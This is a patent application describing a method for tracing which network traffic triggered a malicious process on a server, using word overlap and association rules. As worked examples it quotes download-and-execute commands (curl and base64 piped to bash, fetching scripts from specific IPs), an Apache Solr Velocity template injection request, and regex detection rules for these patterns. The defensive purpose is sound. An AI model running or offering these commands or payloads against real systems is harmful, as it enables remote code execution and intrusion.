Data processing method and device, equipment and storage medium

Abstract

The invention discloses a data processing method and device, equipment and a storage medium. The method comprises the steps of obtaining to-be-processed process data and multiple pieces of initial flow data, wherein the multiple pieces of initial flow data are flow data which are in space-time association with the to-be-processed process data; performing process feature extraction on the to-be-processed process data to obtain a process feature text corresponding to the to-be-processed process data; performing text association analysis on the plurality of pieces of initial traffic data and the process feature text to obtain text association representation information between the plurality of pieces of initial traffic data and the process feature text; and according to the text association representation information, determining target traffic data having a potential trigger relationship with the to-be-processed process data from the multiple pieces of initial traffic data. By using the technical scheme provided by the invention, the potential trigger relationship between the process data and the traffic data can be automatically judged, the efficiency and accuracy of process traffic association detection are improved, and the labor cost is effectively reduced.

Description

Technical Field

[0001] The present application relates to the field of computer technology, and in particular to a data processing method, device, equipment and storage medium. Background Art

[0002] At present, existing threat detection products can only detect malicious process behaviors on the device side, and it is often difficult to locate the cause of the device being invaded. In order to determine the source of malicious process behaviors on the device side, network traffic data and process behaviors on the device side are usually collected, and then further analyzed to see whether a certain process behavior is triggered by a certain attack traffic data.

[0003] Since the server generates a large number of network interaction behaviors at all times, a large number of traffic records are generated (among which, most of the traffic data is normal and non-malicious, and only a very small part of the traffic data carries attack behaviors that will trigger malicious process behaviors). Each malicious process behavior may correspond to multiple traffic data. At this time, security experts need to manually analyze to determine the traffic data that actually triggers the malicious process behavior among the multiple traffic data. Due to the large amount of data, it takes a lot of manpower and time costs, and the processing efficiency is low. Summary of the invention

[0004] The present application provides a data processing method, device, equipment and storage medium, which can automatically determine the potential trigger relationship between process data and flow data, improve the efficiency and accuracy of process flow correlation detection, and effectively reduce labor costs. The technical solution of the present application is as follows:

[0005] In one aspect, a data processing method is provided, the method comprising:

[0006] Acquire the process data to be processed and a plurality of initial flow data, wherein the plurality of initial flow data are flow data that are temporally and spatially associated with the process data to be processed;

[0007] Extracting process features from the process data to be processed to obtain process feature text corresponding to the process data to be processed;

[0008] Performing text association analysis on the multiple pieces of initial flow data and the process characteristic text to obtain text association representation information between the multiple pieces of initial flow data and the process characteristic text;

[0009] According to the text association representation information, target flow data having a potential triggering relationship with the process data to be processed is determined from the multiple pieces of initial flow data.

[0010] In another aspect, a data processing device is provided, the device comprising:

[0011] A data acquisition module, used to acquire the process data to be processed and a plurality of initial flow data, wherein the plurality of initial flow data are flow data that are temporally and spatially associated with the process data to be processed;

[0012] A process feature extraction module is used to extract process features from the process data to be processed to obtain process feature text corresponding to the process data to be processed;

[0013] A text association analysis module, used to perform text association analysis on the multiple pieces of initial flow data and the process characteristic text, to obtain text association representation information between the multiple pieces of initial flow data and the process characteristic text;

[0014] The target flow data determination module is used to determine the target flow data having a potential trigger relationship with the process data to be processed from the multiple initial flow data according to the text association representation information.

[0015] On the other hand, a data processing device is provided, comprising a processor and a memory, wherein the memory stores at least one instruction or at least one program, and the at least one instruction or the at least one program is loaded and executed by the processor to implement the data processing method as described in the first aspect.

[0016] On the other hand, a computer-readable storage medium is provided, wherein at least one instruction or at least one program is stored in the storage medium, and the at least one instruction or the at least one program is loaded and executed by a processor to implement the data processing method as described in the first aspect.

[0017] On the other hand, a computer program product or a computer program is provided, the computer program product or the computer program comprising computer instructions, the computer instructions being stored in a computer-readable storage medium. A processor of a computer device reads the computer instructions from the computer-readable storage medium, and the processor executes the computer instructions, so that the computer device performs the data processing method as described in the first aspect.

[0018] The data processing method, device, equipment and storage medium provided by the present application have the following technical effects:

[0019] In the application scenario of locating the source of a malicious process, the present application first obtains multiple initial traffic data that are temporally and spatially associated with the process data to be processed, then performs process feature extraction on the process data to be processed, obtains process feature text corresponding to the process data to be processed, and performs text association analysis on the multiple initial traffic data and the process feature text to obtain text association representation information between the multiple initial traffic data and the process feature text, and then determines, based on the text association representation information, from the multiple initial traffic data the target traffic data that has a potential trigger relationship with the process data to be processed. The potential trigger relationship between the process data and the traffic data can be automatically determined, thereby improving the efficiency and accuracy of process traffic association detection, thereby improving the processing efficiency of locating the source of the malicious process and effectively reducing labor costs. BRIEF DESCRIPTION OF THE DRAWINGS

[0020] In order to more clearly illustrate the technical solutions and advantages in the embodiments of the present application or the prior art, the drawings required for use in the embodiments or the prior art descriptions are briefly introduced below. Obviously, the drawings described below are only some embodiments of the present application. For ordinary technicians in this field, other drawings can be obtained based on these drawings without creative work.

[0021] Figure 1 is a schematic diagram of an application environment provided by an embodiment of the present application;

[0022] Figure 2 It is a flowchart of a data processing method provided in an embodiment of the present application;

[0023] Figure 3 It is a flowchart of a malicious process source location solution provided by an embodiment of the present application;

[0024] Figure 4 It is a data example diagram provided in an embodiment of the present application;

[0025] Figure 5 It is a flowchart of a process for generating preset association information provided by an embodiment of the present application;

[0026] Figure 6 It is a flowchart of another malicious process source location solution provided by an embodiment of the present application;

[0027] Figure 7 It is an overall schematic diagram of the malicious process source location strategy provided by the embodiment of the present application;

[0028] Figure 8 It is a block diagram of a data processing device provided in an embodiment of the present application;

[0029] Fig. 9It is a structural diagram of a data processing device provided in an embodiment of the present application. DETAILED DESCRIPTION

[0030] The following will be combined with the drawings in the embodiments of the present application to clearly and completely describe the technical solutions in the embodiments of the present application. Obviously, the described embodiments are only part of the embodiments of the present application, not all of the embodiments. Based on the embodiments in the present application, all other embodiments obtained by ordinary technicians in this field without making creative work are within the scope of protection of this application.

[0031] It should be noted that the terms "including" and "having" and any variations thereof in the specification and claims of this application and the above-mentioned drawings are intended to cover non-exclusive inclusions. For example, a process, method, system, product or server that includes a series of steps or units is not necessarily limited to those steps or units clearly listed, but may include other steps or units that are not clearly listed or inherent to these processes, methods, products or devices.

[0032] It is understandable that in the specific implementation of this application, related data such as user information is involved. When the above embodiments of this application are applied to specific products or technologies, user permission or consent is required, and the collection, use and processing of relevant data need to comply with relevant laws, regulations and standards of relevant countries and regions.

[0033] The data processing method provided in the embodiment of the present application can be applied to Figure 1 In the application environment shown, the application environment may include a client 10 and a server 20, and the client 10 and the server 20 may be directly or indirectly connected via wired or wireless communication. The user may trigger a data processing request for the process data to be processed based on the client 10, and the server 20 responds to the data processing request, obtains a plurality of initial traffic data that are temporally and spatially associated with the process data to be processed, and then performs process feature extraction on the process data to be processed to obtain the process feature text corresponding to the process data to be processed, and then performs text association analysis on the plurality of initial traffic data and the process feature text to obtain text association representation information between the plurality of initial traffic data and the process feature text, and finally, based on the text association representation information, determines the target traffic data that has a potential trigger relationship with the process data to be processed from the plurality of initial traffic data, and returns the target traffic data to the client 10. It should be noted that Figure 1 Just an example.

[0034] The client can be a physical device such as a smartphone, a computer (such as a desktop computer, a tablet computer, a laptop computer), a digital assistant, an intelligent voice interaction device (such as an intelligent speaker), a smart wearable device, etc. It can also be software running in a physical device, such as a computer program. The operating system corresponding to the client can be Android system (Android system), iOS system (a mobile operating system developed by Apple), Linux system (an operating system), Microsoft Windows system (Microsoft Windows operating system), etc.

[0035] The server side can be an independent physical server, or a server cluster or distributed system composed of multiple physical servers, or a cloud server that provides basic cloud computing services such as cloud services, cloud databases, cloud computing, cloud functions, cloud storage, network services, cloud communications, middleware services, domain name services, security services, CDN (Content Delivery Network), and big data and artificial intelligence platforms. The server can include a network communication unit, a processor, and a memory, etc. The server side can provide background services for the corresponding client.

[0036] The client 10 and the server 20 can be used to build a data processing system, which can be a distributed system. Taking the distributed system as a blockchain system as an example, it is formed by multiple nodes (any form of computing devices in the access network, such as servers, user terminals) and clients, and a point-to-point network is formed between the nodes. The point-to-point protocol is an application layer protocol running on the Transmission Control Protocol (TCP). In a distributed system, any machine such as a server or a terminal can join and become a node. The node includes a hardware layer, an intermediate layer, an operating system layer, and an application layer.

[0037] The functions of each node in the above blockchain system include:

[0038] 1) Routing: a basic function of a node, used to support communication between nodes.

[0039] In addition to the routing function, the node can also have the following functions:

[0040] 2) Applications are deployed in the blockchain to implement specific businesses based on actual business needs, record data related to the implementation of functions to form record data, carry digital signatures in the record data to indicate the source of the task data, and send the record data to other nodes in the blockchain system for other nodes to add the record data to a temporary block when they successfully verify the source and integrity of the record data.

[0041] 3) Blockchain, including a series of blocks that are connected to each other in the order of their generation. Once a new block is added to the blockchain, it will not be removed. The block records the record data submitted by the nodes in the blockchain system.

[0042] The following describes a specific embodiment of a data processing method provided by the present application. Figure 2 It is a flowchart of a data processing method provided by an embodiment of the present application. The present application provides method operation steps as described in the embodiment or flowchart, but may include more or fewer operation steps based on conventional or non-creative labor. The order of steps listed in the embodiment is only one way of executing the steps among many orders, and does not represent the only order of execution. When the actual system or product is executed, it can be executed in sequence or in parallel according to the method shown in the embodiment or the accompanying drawings (for example, in a parallel processor or multi-threaded processing environment). Specifically, Figure 2 As shown, the method may include:

[0043] S201, obtaining process data to be processed and a plurality of initial flow data, where the plurality of initial flow data are flow data that are temporally and spatially associated with the process data to be processed.

[0044] In the embodiments of this specification, the process data may be the behavior data of the device itself, and the process data to be processed may be malicious process data on the device. For example, a user enters the command "chmod+x a.sh" in the command line of the device, and the device executes the command to grant an executable permission to the file a.sh. Here, "chmod+x a.sh" is a process data on the device.

[0045] In a specific embodiment, the process data to be processed may include: process behavior data (command line execution data) and process chain data.

[0046] In the embodiments of this specification, traffic data may be interaction data between a device and other terminals. For example, a device provides an application service to a client. The client may initiate a request to the device where the application service is located to call the application service. The request may be regarded as traffic data on the device.

[0047] In a specific embodiment, the traffic data may include, but is not limited to, network traffic data of types such as HTTP, FTP, and SMTP.

[0048] In the embodiments of the present specification, spatiotemporal correlation may include: time correlation and space correlation. Spatial correlation means that the initial traffic data and the process data to be processed are data on the same device. Time correlation means that the generation time of the initial traffic data and the process data to be processed are close. In an optional embodiment, the close generation time may be that the initial traffic data and the process data to be processed are generated at the same time, or the initial traffic data may be generated within N seconds before the process data to be processed is generated. Optionally, N may be 3.

[0049] S202, extracting process features from the process data to be processed, and obtaining process feature text corresponding to the process data to be processed.

[0050] In the embodiment of the present specification, the process characteristic text may be a text element in the process text of the process data to be processed that is used to characterize the process characteristics. Specifically, the process characteristic text may include: characteristic text of the process behavior in the process data to be processed and characteristic text of the process chain in the process data to be processed.

[0051] In a specific embodiment, the characteristic text of the process behavior may be a text element in the process behavior text. Specifically, the process behavior text here may be command line execution content, and the text element here may be a word segmentation in the process behavior text.

[0052] In a specific embodiment, the characteristic text of the process chain may be a text element in the process chain. Specifically, the text element here may be a process identifier in the process chain. In an optional embodiment, the process identifier may include: a process identifier, etc.

[0053] S203, performing text association analysis on the multiple pieces of initial flow data and the process characteristic texts to obtain text association representation information between the multiple pieces of initial flow data and the process characteristic texts.

[0054] In the embodiment of the present specification, the text association representation information may represent the text association between the process characteristic text and the plurality of initial traffic data.

[0055] In a specific embodiment, the text association characterization information may include: a text overlap index between the process characteristic text and each initial traffic data and a characteristic word association detection result between the process characteristic text and each initial traffic data. Specifically, the text overlap index corresponding to each initial traffic data may characterize the text overlap degree between the corresponding initial traffic data and the process characteristic text, and the characteristic word association detection result corresponding to each initial traffic data may characterize whether there is a characteristic word association between the corresponding initial traffic data and the process characteristic text.

[0056] S204: determining, from the plurality of pieces of initial traffic data, target traffic data that has a potential triggering relationship with the process data to be processed according to the text association representation information.

[0057] In the embodiment of the present specification, the target flow data is flow data that may trigger the process data to be processed.

[0058] In a specific embodiment, the text association representation information may include: a text overlap index between the process feature text and each initial flow data and a feature word association detection result between the process feature text and each initial flow data. Accordingly, according to the text association representation information, determining the target flow data having a potential trigger relationship with the process data to be processed from the multiple initial flow data may include:

[0059] Determine target flow data from multiple pieces of initial flow data according to the text overlap index;

[0060] Or, according to the characteristic word association detection result, the target flow data is determined from multiple pieces of initial flow data.

[0061] It can be seen from the above embodiments that by acquiring multiple pieces of initial traffic data that are temporally and spatially associated with the process data to be processed, and then performing process feature extraction on the process data to be processed, the process feature text corresponding to the process data to be processed is obtained, and text association analysis is performed on the multiple pieces of initial traffic data and the process feature text to obtain text association representation information between the multiple pieces of initial traffic data and the process feature text, and then based on the text association representation information, the target traffic data that has a potential trigger relationship with the process data to be processed is determined from the multiple pieces of initial traffic data, the potential trigger relationship between the process data and the traffic data can be automatically judged, and the efficiency and accuracy of process traffic association detection can be improved, thereby improving the processing efficiency of locating the source of malicious processes and effectively reducing labor costs.

[0062] In an optional embodiment, the obtaining of the to-be-processed process data may include:

[0063] S2011, obtaining initial process data.

[0064] S2012, perform plaintext attack detection on the initial process data.

[0065] Specifically, the plaintext attack detection can be performed on the initial process data based on the preset plaintext attack detection rule. In practical applications, the preset plaintext attack detection rule can be pre-set in combination with the attack detection experience of security operation experts.

[0066] In a specific embodiment, the preset plaintext attack detection rule can be a regular detection rule. For example, a malicious process is curl 195.2.85.171 / xx.sh|bash, which means downloading the xx.sh file from the address 195.2.85.171 and then executing the file. The regular detection rule corresponding to the malicious process can be curl l\s.*|(sh|bash); for another example, echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWMod XJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTguMTIuNjguMTA2L2QucHkiKS5yZ WFkKCkpJw==|base64-d|bash-such a process data means that the attacker puts the real behavior to be executed (python-c'import urllib;exec(urllib.urlopen("http: / / 198.12.68.106 / d.py").read())') is encoded into cHl0aG9uIC1jICdpbXBvcn QgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTguMTIuNjg uMTA2L2QucHkiKS5yZWFkKCkpJw== through base64 (a coding method) and hidden, and then decoded and executed through base64-d. Then the regular detection rule corresponding to the process data can be echo\s.*|base64\sd|(sh|bash).

[0067] S2013: When it is detected that the initial process data carries plaintext attack behavior, the initial process data is used as the process data to be processed.

[0068] In an optional embodiment, the initial process data may be ciphertext process data after encoding processing, so in the preprocessing stage, the initial process data may be decoded to restore the plaintext data for subsequent judgment.

[0069] In an optional embodiment, the above-mentioned multiple pieces of initial flow data can be obtained in the following manner:

[0070] S2014, obtaining a plurality of pieces of traffic data to be detected, where the plurality of pieces of traffic data to be detected are traffic data that are temporally and spatially associated with the process data to be processed;

[0071] S2015: Perform plaintext attack detection on the multiple pieces of traffic data to be detected, and determine multiple pieces of initial traffic data carrying plaintext attack behaviors.

[0072] Specifically, here, plaintext attack detection is performed on multiple traffic data to be detected, and the specific process of determining multiple initial traffic data carrying plaintext attack behaviors is similar to step S2012. The specific content can be found in the relevant description in step S2012, which will not be repeated here.

[0073] In an optional embodiment, before performing plaintext attack detection on the plurality of traffic data to be detected, the plurality of traffic data to be detected may be decoded to obtain a plurality of decoded traffic data, and then plaintext attack detection may be performed on the plurality of decoded traffic data.

[0074] It can be seen from the above embodiments that by performing plaintext attack detection on the traffic data to be detected and the initial process data, screening out the initial traffic data and the process data to be processed that carry plaintext attack behavior, and then performing correlation analysis on the initial traffic data and the process data to be processed, the amount of data that needs to be analyzed can be further reduced, and the processing efficiency and accuracy of the correlation analysis can be improved.

[0075] In an optional embodiment, the process feature extraction of the process data to be processed to obtain the process feature text corresponding to the process data to be processed may include:

[0076] S2021, performing text segmentation processing on the process data to be processed to obtain a set of process feature words.

[0077] Specifically, the process feature word set can represent the features of relevant process behaviors in the corresponding process data to be processed.

[0078] Specifically, the process behavior data (i.e., command line execution data) can be segmented to extract words composed of numbers or letters, and the symbols can be removed to form a process feature word set. For example, the command line execution data of a process data to be processed is curl-o / etc / kinsing http: / / 195.2.85.171 / kinsing. After text segmentation, the process feature word set obtained is (curl, o, etc, kinsing, http, 195, 2, 85, 171, kinsing).

[0079] S2022, taking the process feature word set as the process feature text.

[0080] It can be seen from the above embodiments that by performing word segmentation processing on process behavior data, a set of process characteristic words representing process behavior characteristics can be obtained.

[0081] In an optional embodiment, the process characteristic text may include: a process characteristic word set, and the text association characterization information between the multiple pieces of initial flow data and the process characteristic text obtained by performing text association analysis on the multiple pieces of initial flow data and the process characteristic text may include:

[0082] S2031, determining a target number of process feature words in the process feature word set that overlap with each of the multiple pieces of initial flow data.

[0083] S2032: Determine a text overlap index between each initial flow data and the process feature text according to a ratio between the target quantity and the total number of feature words in the process feature word set.

[0084] S2033: Using the text overlap index as text association representation information corresponding to each initial traffic data.

[0085] Specifically, the text overlap index corresponding to each initial flow data can represent the text overlap between the corresponding initial flow data and the process characteristic text. Exemplarily, the process characteristic text corresponding to a certain process data to be processed is a process characteristic word set including process characteristic words 1 to process characteristic words 6. If only process characteristic words 1, process characteristic words 2 and process characteristic words 4 appear in the initial flow data a, the target quantity corresponding to the initial flow data a is 3, the total number of characteristic words in the process characteristic word set is 6, and the text overlap index between the initial flow data a and the process characteristic text is 50%. If process characteristic words 1 to process characteristic words 6 appear in the initial flow data b, the text overlap index between the initial flow data b and the process characteristic text is 100%.

[0086] It can be seen from the above embodiments that by determining the target number of process feature words in the process feature word set that overlap with each initial traffic data in multiple initial traffic data, and then determining the text overlap index between each initial traffic data and the process feature text based on the ratio between the target number and the total number of feature words in the process feature word set, the interpretability and accuracy of the association analysis can be improved, thereby improving the accuracy of subsequent source positioning.

[0087] In an optional embodiment, the text association representation information may include: a text overlap index corresponding to each initial flow data, and the target flow data having a potential trigger relationship with the process data to be processed determined from the multiple initial flow data according to the text association representation information may include:

[0088] S2041, taking the initial flow data whose corresponding text overlap index is greater than a preset text overlap threshold among the multiple initial flow data as the target flow data.

[0089] Specifically, the preset text overlap threshold can be pre-set in combination with the accuracy requirement of text association in actual applications. In an optional embodiment, the preset text overlap threshold can be 90%. Accordingly, the initial traffic data with a corresponding text overlap index greater than 90% can be used as target traffic data, that is, it is considered that the initial traffic data with a corresponding text overlap index greater than 90% may be the traffic data that triggers the process data to be processed; and the initial traffic data with a corresponding text overlap index less than 90% is considered to be impossible to be the traffic data that triggers the process data to be processed and can be directly discarded.

[0090] It can be seen from the above embodiments that by setting a reasonable preset text overlap threshold and taking the initial traffic data whose corresponding text overlap index in multiple initial traffic data is greater than the preset text overlap threshold as the target traffic data, the rationality and accuracy of the target traffic data screening can be improved.

[0091] See also Figure 3 , Figure 3 It is a flow chart of a malicious process source location solution provided by an embodiment of the present application. Specifically, a plaintext attack detection is first performed on the initial process data. When it is detected that the initial process data carries a plaintext attack behavior, the initial process data is used as the process data to be processed, and multiple pieces of flow data to be detected that are temporally and spatially associated with the process data to be processed are obtained, and multiple pieces of initial flow data carrying plaintext attack behaviors are determined among the multiple pieces of flow data to be detected, and then text segmentation is performed on the process behaviors in the process data to be processed to obtain a process feature word set, and the target number of process feature words in the process feature word set that overlap with each initial flow data is determined, and then the text overlap index between each initial flow data and the process feature word set is determined according to the ratio between the target number and the total number of feature words in the process feature word set, and finally the initial flow data whose corresponding text overlap index in the multiple pieces of initial flow data is greater than a preset text overlap threshold is used as the target flow data, and the trigger flow location of the malicious process is performed by analyzing the text overlap between the flow text and the process behavior.

[0092] Taking the preset text overlap threshold as 90% as an example, see Figure 4 , Figure 4 This is a data example diagram provided in the embodiment of the present application. Figure 4 Extract the attack behavior from the traffic data on the left side of the figure to get the initial traffic data: curl 195.2.85.171 / xx.sh|bash, and then Figure 4The to-be-processed traffic data on the right side is subjected to text segmentation processing to obtain a process feature word set: (curl, o, etc, kinsing, http, 195, 2, 85, 171, kinsing), wherein the process feature words in the process feature word set that overlap with the initial traffic data include: curl, 195, 2, 85 and 171, and the text overlap index between the initial traffic data and the process feature word set is determined to be 50%. Since the text overlap index here is less than the preset text overlap threshold of 90%, it is considered that there is no text association between the initial traffic data on the left and the to-be-processed traffic data on the right.

[0093] It can be seen from the above embodiments that by performing plaintext attack detection on the traffic data to be detected and the initial process data, screening out the initial traffic data and the process data to be processed that carry plaintext attack behaviors, and then performing association analysis processing on the initial traffic data and the process data to be processed, the amount of data that needs to be analyzed can be further reduced, and the processing efficiency and accuracy of the subsequent association analysis can be improved; the process behavior data is segmented to obtain a process feature word set that can characterize the process behavior characteristics, and then by determining the target number of process feature words in the process feature word set that overlap with each initial traffic data in multiple initial traffic data, and then determining the text overlap index between each initial traffic data and the process feature text according to the ratio between the target number and the total number of feature words in the process feature word set, the interpretability and accuracy of the association analysis can be improved. Finally, by setting a reasonable preset text overlap threshold, the initial traffic data in multiple initial traffic data whose corresponding text overlap index is greater than the preset text overlap threshold is used as the target traffic data, which can improve the rationality and accuracy of the target traffic data screening, and thus improve the accuracy of the triggered traffic positioning.

[0094] In another optional embodiment, sample malicious process data and sample process data corresponding to the sample malicious process data (i.e., process data that triggers the sample malicious process data) may also be collected, and the association relationship between the sample traffic feature words and the sample process identifiers may be analyzed by mining multiple sample process identifiers in the sample process chain of the sample malicious process data and multiple sample traffic feature words in the sample process data to obtain preset association information, and based on the preset association information, target traffic data corresponding to the process data to be processed in multiple initial traffic data may be identified.

[0095] Specifically, the preset association information may represent the association between multiple sample process identifiers and multiple sample traffic feature words. The multiple sample process identifiers here may be process identifiers extracted from a large amount of sample malicious process data, and the multiple sample traffic feature words here may be traffic feature words extracted from sample process data corresponding to a large amount of sample malicious process data.

[0096] In a specific embodiment, Figure 5 As shown, the above preset association information can be generated in the following way:

[0097] S501, obtaining a plurality of sample association data, wherein each of the plurality of sample association data includes: sample malicious process data and sample flow data having a triggering relationship with the sample malicious process data.

[0098] In a specific embodiment, the sample malicious process data may include: sample process behavior data (and sample command line execution data) and sample process chain data. Exemplarily, as shown in the following table, each sample association data includes: sample traffic data, sample process behavior data and sample process chain data, wherein the sample process chain data may include: child process data, parent process data, parent-parent process data, etc. For example, the sample process chain data of sample association data 1 includes: child process data bash (1927), parent process data httpd (1491), parent-parent process data httpd (1723) and parent-parent-parent process systemd (1), wherein the child process name is bash, the child process process ID is 1927, the parent process name is httpd, the parent process process ID is 1491, the parent-parent process name is httpd, the parent-parent process process ID is 1723, the parent-parent-parent process name is systemd, and the parent-parent-parent process process ID is 1.

[0099]

[0100] S502: extract the process chain of the sample malicious process data to obtain a set of sample process identifiers corresponding to multiple sample processes in the sample process chain.

[0101] Specifically, the sample process identification set may represent the characteristics of the sample process chain in the corresponding sample malicious process data.

[0102] In a specific embodiment, the sample process identifier may include: a sample process name, and correspondingly, the sample process identifier set may include: a sample process name set.

[0103] For example, the sample process chain corresponding to the sample malicious process data in the sample associated data 1 is: bash(1927)_httpd(1491)_httpd(1723)_systemd(1). The sample process chain includes sample process names such as bash, httpd, and systemd, thus obtaining a sample process name set (bash, httpd, systemd).

[0104] In an optional embodiment, since there are some sample process names in the sample malicious process data that appear frequently but have no significant effect, stop words may be set for such sample process names to discard such process names during process name extraction. Specifically, stop words may include but are not limited to: bash, init, systemd, etc.

[0105] S503, performing text segmentation processing on the sample traffic data to obtain a sample traffic feature word set.

[0106] Specifically, the sample traffic data can be segmented to remove symbols and fixed-format strings (such as POST, HTTP / 1.1, etc.), and only sample traffic feature words composed of numbers or letters are extracted to obtain a sample traffic feature word set. In an optional embodiment, the sample traffic feature words with short length and no practical meaning can also be removed to improve the subsequent processing efficiency. Optionally, the sample traffic feature words with a length less than 3 can be removed.

[0107] For example, a sample traffic data is as follows: POST / solr / fts / select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27chmod+%2Bx+%2Ftmp%2Fzzz%27))+Sex.wa itFor()+%23set($out=Sex.getinputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP / 1.1. Remove the symbols and fixed-format strings in the sample traffic data, and remove the sample traffic feature words whose length is less than 3, and obtain the following sample traffic feature word set: (solr / fts / select / velocity / v.template / custom / v.template.custom / x.class.forName / java.lang.Runtime / x.class.forName / java.lang.Character / x.class.forName / java.lang.String / rt.getRuntime / chmod / tmp / zzz / ex.waitFor / ex.getInput Stream / foreach / out.available / str.valueOf / chr.toChars / out.read).

[0108] In a specific embodiment, the above text segmentation processing is performed on the sample traffic data to obtain the sample traffic feature word set, which may include:

[0109] S5031, perform text segmentation processing on the sample traffic data to obtain multiple initial traffic feature words.

[0110] S5032: Combine the initial traffic feature words in the multiple initial traffic feature words to obtain multiple combined traffic feature words.

[0111] Exemplarily, the sample traffic data includes initial traffic feature words "java.lang.String" and "java.lang.Process". These two initial traffic feature words can be combined to obtain a combined traffic feature word (java.lang.String / java.lang.Process).

[0112] S5033: Based on multiple initial traffic feature words and / or multiple combined traffic feature words, obtain a sample traffic feature word set.

[0113] In a specific embodiment, obtaining a sample traffic feature word set based on multiple initial traffic feature words and / or multiple combined traffic feature words may include:

[0114] A plurality of initial traffic feature words are used as a sample traffic feature word set; or a plurality of combined traffic feature words are used as a sample traffic feature word set; or a plurality of initial traffic feature words and a plurality of combined traffic feature words are used as a sample traffic feature word set.

[0115] It can be seen from the above embodiments that by performing text segmentation processing on the sample traffic data, multiple initial traffic feature words are obtained, and then each of the multiple initial traffic feature words is combined to obtain multiple combined traffic feature words. Based on the multiple combined traffic feature words, a sample traffic feature word set is obtained. Subsequently, after performing association confidence analysis between each combined traffic feature word and each sample process identifier in the sample process identifier set, preset association information is generated, which can further improve the relevance of the preset association information and avoid subsequent misprocessing of process source positioning.

[0116] S504, performing association confidence analysis on the target sample process identifier and the target sample traffic feature word to determine the association confidence index between the target sample process identifier and the target sample traffic feature word, the target sample process identifier is any sample process identifier in the sample process identifier set, and the target sample traffic feature word is any sample traffic feature word in the sample traffic feature word set.

[0117] Specifically, the association confidence index may represent the confidence of the association relationship between the target sample process identifier and the target sample traffic feature word.

[0118] In a specific embodiment, the above-mentioned performing the correlation confidence analysis on the target sample process identifier and the target sample traffic characteristic word to determine the correlation confidence index between the target sample process identifier and the target sample traffic characteristic word may include:

[0119] S5041, determining a first probability index that a target sample process identifier and a target sample traffic feature word co-appear in target sample associated data, where the target sample associated data is any sample associated data among a plurality of sample associated data.

[0120] Specifically, the first probability indicator can represent the probability that the target sample process identifier and the target sample traffic characteristic word appear simultaneously in the target sample associated data, wherein the simultaneous appearance of the target sample process identifier and the target sample traffic characteristic word in the target sample associated data means that: the target sample process identifier appears in the sample malicious process data corresponding to the target sample associated data, and the target sample traffic characteristic word appears in the sample traffic data corresponding to the target sample associated data.

[0121] In a specific embodiment, the first probability indicator P(AB)=Q(AB) / Q, wherein A represents the target sample traffic characteristic word, B represents the target sample process identifier, Q represents the number of multiple sample associated data, and Q(AB) represents the number of sample associated data in which the target sample traffic characteristic word A and the target sample process identifier B appear simultaneously in the multiple sample associated data.

[0122] S5042, determining a second probability index of the target sample traffic feature word appearing in the target sample associated data.

[0123] Specifically, the second probability indicator can represent the probability of the target sample traffic feature word appearing in the target sample associated data, wherein the target sample traffic feature word appearing in the target sample associated data means that the target sample traffic feature word appears in the sample traffic data corresponding to the target sample associated data.

[0124] In a specific embodiment, the second probability indicator P(A)=Q(A) / Q, wherein A represents the target sample traffic characteristic word, Q represents the number of multiple sample associated data, and Q(A) represents the number of sample associated data in which the target sample traffic characteristic word A appears in the multiple sample associated data.

[0125] S5043: Use the ratio of the first probability index to the second probability index as the association confidence index.

[0126] In a specific embodiment, the associated confidence index Confidence = P(B|A) = P(AB) / P(A), where P(B|A) represents the probability of the target sample process identifier B appearing in the target sample associated data based on the appearance of the target sample traffic feature word A in the target sample associated data. For example, P(AB) = 2%, P(A) = 2.5%, then confidence = P(B|A) = 85%, indicating that 2% of all sample associated data have both the target sample traffic feature word A and the target sample process identifier B, and 2.5% of the sample associated data have the target sample traffic feature word A, and 90% of the sample associated data containing the target sample traffic feature word A also have the target sample process identifier B.

[0127] It can be seen from the above embodiments that determining a first probability indicator that a target sample process identifier and a target sample traffic characteristic word appear simultaneously in target sample associated data, and determining a second probability indicator that a target sample traffic characteristic word appears in target sample associated data, and using the ratio of the first probability indicator to the second probability indicator as an associated confidence indicator, can improve the interpretability of the associated confidence indicator and the accuracy of the associated confidence measurement.

[0128] S505: When the correlation confidence index meets the preset confidence condition, preset correlation information is generated based on the target sample process identifier and the target sample traffic feature word.

[0129] In a specific embodiment, the preset association information may include multiple preset association rules, each of which may characterize the association relationship between the corresponding sample process identifier and the corresponding sample traffic feature word. Schematically, the preset association rule may be expressed as "sample traffic feature word M→sample process identifier N", that is, "sample traffic feature word M" and "sample process identifier N" are a pair of associated feature words. When an initial traffic data packet contains the sample traffic feature word M, and a process data packet to be processed contains the sample process identifier N, it may be considered that there is a potential trigger relationship between the initial traffic data and the process data to be processed.

[0130] Specifically, the preset confidence condition can be preset in combination with the association accuracy requirements in actual applications. In a specific embodiment, the preset confidence condition can be that the association confidence index reaches a preset confidence threshold. Optionally, the preset confidence threshold can be set to 100%. For example, the process chain containing the sample malicious process data triggered by the sample traffic data containing the sample traffic feature word "index.php" must contain the sample process identifier "php-fpm", that is, the association confidence index between the sample traffic feature word "index.php" and the sample process identifier "php-fpm" is 100%, so "index.php→php-fpm" can be used as a preset association rule, that is, "index.php" and "php-fpm" are associated feature words.

[0131] In a specific embodiment, the sample traffic feature word set may include: multiple initial traffic feature words and multiple combined traffic feature words. Therefore, the multiple preset association rules here may include: multiple first association rules and multiple second association rules, wherein each first association rule may represent the association relationship between the corresponding initial traffic feature word and the corresponding sample traffic feature word, and each second association rule may represent the association relationship between the corresponding combined traffic feature word and the corresponding sample traffic feature word.

[0132] Exemplarily, some of the first association rules generated by the technical solution provided by this application may include:

[0133] java.lang.ProcessBuilder→java;

[0134] java.io.BufferedReader→java;

[0135] java.lang.System.getProperty→java;

[0136] java.lang.Character.toString→java;

[0137] javax.script.ScriptEngineManager→java;

[0138] java.lang.String → java;

[0139] java.io.InputStreamReader→java;

[0140] java.lang.Character → java;

[0141] java.lang.Runtime → java;

[0142] Some of the second association rules generated by the technical solution provided by this application may include:

[0143] (command,java.lang.System.getProperty)→java;

[0144] (constructor.newInstance,visitor)→tini;

[0145] (.getEngineByName,inputStreamReader)→java;

[0146] (gitlab.txt,shared_anno.iff)→gitlab-workhorse;

